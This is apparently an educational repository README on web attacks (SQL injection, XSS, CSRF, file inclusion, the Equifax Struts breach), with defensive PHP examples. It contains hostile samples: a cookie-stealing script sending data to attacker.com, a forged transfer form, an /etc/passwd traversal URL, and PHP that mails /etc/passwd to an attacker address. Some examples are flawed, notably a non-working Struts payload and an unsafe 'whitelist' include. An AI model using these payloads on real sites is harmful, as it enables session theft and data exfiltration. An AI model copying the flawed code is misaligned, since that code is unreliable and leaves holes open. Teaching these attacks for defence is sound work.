I must clarify that this repository is for educational purposes only. It is important to note that we do not condone or support the execution of any of the attacks described in this repository. We provide these examples purely for educational purposes, to raise awareness about web application vulnerabilities and how they can be exploited.
Furthermore, we do not provide any resources or tools for executing these attacks. Our aim is to educate and promote web security, not to encourage or enable malicious behavior. We strongly advise against attempting any of these attacks on live web applications, as this can lead to legal and ethical consequences.
- Exploiting-Web-Applications
- THE EQUIFAX INCIDENT
- COMMON TYPES OF ATTACKS
- ATTACKS AND THEIR ORIGINS
- HOW DO I PROTECT MYSELF AGAINST THESE THREATS
- HOW ATTACKERS OPERATE
- THE EQUIFAX BREACH
- FINAL NOTES
- LICENSE Apache License, Version 2.0
Imagine you're running a website for your small business, and you've spent countless hours perfecting its design and functionality. You've put in place measures to keep your customers' data secure, but you hear news of a data breach at a similar business. Suddenly, you realize that your website could be vulnerable to attacks too.
That's where our repository comes in! We explore the common types of web application attacks, such as SQL injection, cross-site scripting, and session hijacking, and provide practical tips on how to protect against them. By understanding these threats and how they work, you can better safeguard your website and your customers' data.
Whether you're a business owner, a web developer, or simply someone interested in learning more about web security, this repository has something for you. So why wait? Start exploring and fortify your web applications against attacks today!
In 2017, the credit reporting agency Equifax suffered a massive data breach that exposed sensitive personal information of over 147 million people. The breach was caused by a vulnerability in a web application framework used by Equifax, which allowed attackers to gain access to the company's database.
This incident highlighted the importance of web application security and the devastating consequences of overlooking vulnerabilities. It's crucial for organizations to prioritize web application security and take proactive steps to prevent such breaches from occurring.
Hypothetical Situation: A company's website stores user information in a SQL database. An attacker notices that the login page of the website does not validate user input and decides to exploit this vulnerability to extract sensitive user information from the database.
Example sql script:
SELECT * FROM users WHERE username = 'admin' OR 1=1 --' AND password = 'password123'Hypothetical Situation: An attacker notices that a website has a search box that does not sanitize user input before displaying search results. The attacker decides to inject a malicious script that steals user cookies and sends them to a third-party server.
Example php script:
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>Hypothetical Situation: A user is logged into their online banking account and opens an email from an attacker. The email contains a link to a website that appears to be the user's bank. The website sends a request to transfer funds from the user's account to the attacker's account.
Example html script:
<form action="https://www.examplebank.com/transfer" method="post">
<input type="hidden" name="from" value="user@examplebank.com">
<input type="hidden" name="to" value="attacker@example.com">
<input type="hidden" name="amount" value="100000">
<input type="hidden" name="csrf_token" value="faked_csrf_token">
<input type="submit" value="Transfer Funds">
</form>
Hypothetical Situation: A company's website includes user-generated content that is displayed on the website. An attacker notices that the website does not properly validate user input and decides to exploit this vulnerability to include a malicious file that contains sensitive information.
Example php script:
http://example.com/page.php?page=../../../../etc/passwd
This attack was first documented in the late 1990s by Jeff Forristal, who demonstrated how attackers could use SQL queries to extract sensitive information from a database. Since then, SQL injection has become one of the most common types of attacks against web applications.
In 2009, Heartland Payment Systems, a payment processing company, suffered a massive data breach due to a SQL injection attack. The breach compromised the credit and debit card information of over 130 million customers.
The first documented case of XSS was in the early 2000s, when a security researcher named RSnake (Robert "RSnake" Hansen) discovered that it was possible to inject scripts into web pages. This technique could be used to steal sensitive information from users, and has since become one of the most common types of web application attacks.
In 2018, a vulnerability in the Ticketmaster website was exploited using an XSS attack. The attackers were able to steal the personal and financial information of up to 40,000 customers.
This attack was first documented by researchers at IBM in 2007. They discovered that attackers could trick users into unknowingly performing actions on a website that they were already logged into, such as changing their password or making a purchase. This technique has since become a popular way for attackers to steal information or perform actions on behalf of users.
In 2016, a CSRF attack was used to hijack a user's Twitter account and post a tweet containing a swastika. The attack involved tricking the user into clicking on a malicious link that sent a request to Twitter on their behalf.
This attack has been around since the early days of web development, but gained more attention in the mid-2000s when security researchers discovered that many web applications were vulnerable to this type of attack. Since then, web developers have become more aware of the risks associated with file inclusion vulnerabilities, but they still remain a common type of attack against web applications.
In 2012, Yahoo! Voices suffered a data breach due to a file inclusion vulnerability in their website. The attackers were able to access the website's backend database and steal sensitive information, including email addresses and passwords, of over 450,000 users.
SQL injection attacks can be prevented by properly validating user input and using parameterized queries. Parameterized queries ensure that user input is properly sanitized and prevents attackers from injecting malicious SQL code.
Here's an example of how to use parameterized queries in PHP:
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $username, 'password' => $password]);In this example, the user input is passed as an array to the execute function, which ensures that the input is properly sanitized before being used in the query.
To protect against XSS attacks, it's important to properly sanitize user input and encode any output that is displayed on a web page. This can be done using functions such as htmlspecialchars in PHP.
Here's an example of how to use htmlspecialchars to sanitize user input in PHP:
$username = htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8');In this example, htmlspecialchars is used to encode any special characters in the user input before it is stored in a variable or used in a query.
To protect against CSRF attacks, web developers can use techniques such as token-based authentication and referer validation. Token-based authentication involves generating a unique token for each user session and requiring that token to be included with any requests that modify data on the server.
Here's an example of how to use token-based authentication in PHP:
session_start();
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;In this example, a random token is generated using the random_bytes function and stored in a session variable. The token can then be included in any requests that modify data on the server, and validated on the server side to ensure that it matches the expected value.
To protect against file inclusion vulnerabilities, it's important to properly validate user input and ensure that any user-generated content is properly sanitized before being displayed on a web page. In addition, web developers can use techniques such as whitelisting to limit the types of files that can be included in a web application.
Here's an example of how to use whitelisting to limit the types of files that can be included in a web application:
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$filename = $_GET['filename'];
$extension = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array($extension, $allowed_extensions)) {
include($filename);
} else {
// handle error
// for example if the extension was .exe or something it would error
}Example of an SQL query without any input sanitization:
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '{$username}' AND password = '{$password}'";In this example, the user input for the username and password fields is directly interpolated into an SQL query. This makes the application vulnerable to SQL injection attacks, as an attacker could submit malicious input that modifies the behavior of the query.
For example, an attacker could submit the following input as the password field:
' OR 1=1 --This would result in the following query being executed:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --'The double hyphen at the end of the input is used to comment out the rest of the query, effectively ignoring the actual password value and returning all users in the database.
To prevent SQL injection attacks, it is important to properly validate and sanitize user input, and to use parameterized queries.
Vulnerable code for XSS
echo "Search results for: " . $_GET["query"];In this example, the user input from the "query" parameter is directly concatenated with the string "Search results for:", without any form of sanitization or validation. This means that an attacker could inject malicious code into the query parameter, which would be executed on the user's browser when the search results are displayed.
For example, an attacker could use the following URL to inject a script that steals the user's cookies:
https://example.com/search.php?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>When the search results are displayed, the user's cookies would be sent to the attacker's server, allowing the attacker to hijack the user's session.
To prevent XSS attacks, it's important to properly sanitize and encode user input before displaying it on a web page.
An attacker wants to transfer money from a victim's account to their own account on a banking website. The attacker creates a form on their own website that submits a request to transfer money from the victim's account to the attacker's account on the banking website.
Here's what the attacker's form might look like:
<form action="https://www.examplebank.com/transfer" method="post">
<input type="hidden" name="from" value="victim@examplebank.com">
<input type="hidden" name="to" value="attacker@example.com">
<input type="hidden" name="amount" value="100000">
<input type="hidden" name="csrf_token" value="faked_csrf_token">
<input type="submit" value="Transfer Funds">
</form>The from field contains the victim's email address, and the to field contains the attacker's email address. The amount field specifies the amount of money to transfer, and the csrf_token field contains a fake CSRF token that the attacker generated.
When the victim visits the attacker's website, the form is automatically submitted in the background, without the victim's knowledge. Since the victim is already logged into the banking website, the request appears to be coming from them. If the victim has sufficient funds in their account, the transfer will go through, and the attacker will have successfully stolen money from the victim.
Vulnerable php code:
<?php
$page = $_GET['page'];
include($page . '.php');
?>In this example, the $_GET parameter page is used to dynamically include a PHP file. This can be exploited by an attacker who can manipulate the value of page to include a malicious file instead of the intended one.
For example, an attacker might use the following URL to include the /etc/passwd file, which contains sensitive information:
http://example.com/index.php?page=../../../../etc/passwd
On the attacker's side, they might have a file with malicious code that they want to include on the vulnerable server:
<?php
// malicious code to steal sensitive information
$passwords = file_get_contents('/etc/passwd');
mail('attacker@example.com', 'Stolen Passwords', $passwords);
?>Once the attacker is able to include this file on the vulnerable server, the malicious code will execute and send the stolen information to their email address.
The attackers behind the Equifax breach used a well-known web application vulnerability called Apache Struts CVE-2017-5638 to gain access to the company's systems. Apache Struts is a popular framework used to build web applications, and CVE-2017-5638 was a critical vulnerability that allowed attackers to execute arbitrary code on a server running an affected version of the framework.
The attacker's code was likely written in a programming language such as Python or Ruby, and was designed to scan the internet for servers running Apache Struts with the CVE-2017-5638 vulnerability. Once a vulnerable server was found, the attacker's code would send a specially crafted HTTP request to the server, which would trigger the vulnerability and allow the attacker to execute arbitrary code on the server.
Imagine this: the Equifax servers are running a web application that allows users to search for their credit report. This application takes in a user's social security number and other personal information and displays their credit report to them. Here's an example of what the code might have looked like:
$social_security_number = $_POST['ssn'];
$date_of_birth = $_POST['dob'];
$last_name = $_POST['last_name'];
$query = "SELECT * FROM credit_reports WHERE ssn='" . $social_security_number . "' AND dob='" . $date_of_birth . "' AND last_name='" . $last_name . "'";
$result = mysqli_query($connection, $query);
if ($result->num_rows > 0) {
// display the user's credit report
} else {
// handle error
}As you can see, the code takes in the user's social security number, date of birth, and last name, and then constructs a SQL query using string concatenation. This code is vulnerable to a SQL injection attack, as an attacker could insert malicious code into the input fields to modify the behavior of the query.
Here's an example of what the attacker's code might have looked like in Python:
import requests
url = "http://example.com/vulnerable_page"
command = "ls -la /"
headers = {
'User-Agent': 'Mozilla/5.0',
'Content-Type': '#{command}',
'Content-Length': '0'
}
response = requests.post(url, headers=headers)
print(response.text)The attacker is using the requests library to send a POST request to a vulnerable page on the target server. The command variable contains the shell command that the attacker wants to execute on the server, which in this case is simply listing the contents of the root directory using the ls command. The headers dictionary contains the specially crafted HTTP headers that exploit the Apache Struts vulnerability and allow the attacker to execute the command on the server.
To protect against attacks like the one that targeted Equifax, it's crucial to keep your web applications and frameworks up-to-date with the latest security patches. In the case of Apache Struts CVE-2017-5638, a patch was released shortly after the vulnerability was discovered, and organizations that applied the patch were protected from the attack.
In addition to keeping your software up-to-date, it's important to follow secure coding practices and to regularly test your web applications for vulnerabilities. By staying vigilant and proactive, you can help protect your organization from the devastating consequences of a web application attack.
Web application security is a complex and ever-evolving field. As we've seen, even the most well-known and well-resourced companies can fall victim to attacks. That's why it's crucial for businesses and developers to stay informed and take proactive steps to safeguard their web applications.
By understanding the common types of attacks and how they work, as well as implementing best practices for secure coding and data handling, we can help prevent breaches and keep our websites and customers safe.
But remember, this is just the beginning. There is always more to learn and discover in the world of web application security. So keep exploring, keep experimenting, and most importantly, keep striving to make the internet a safer place for everyone.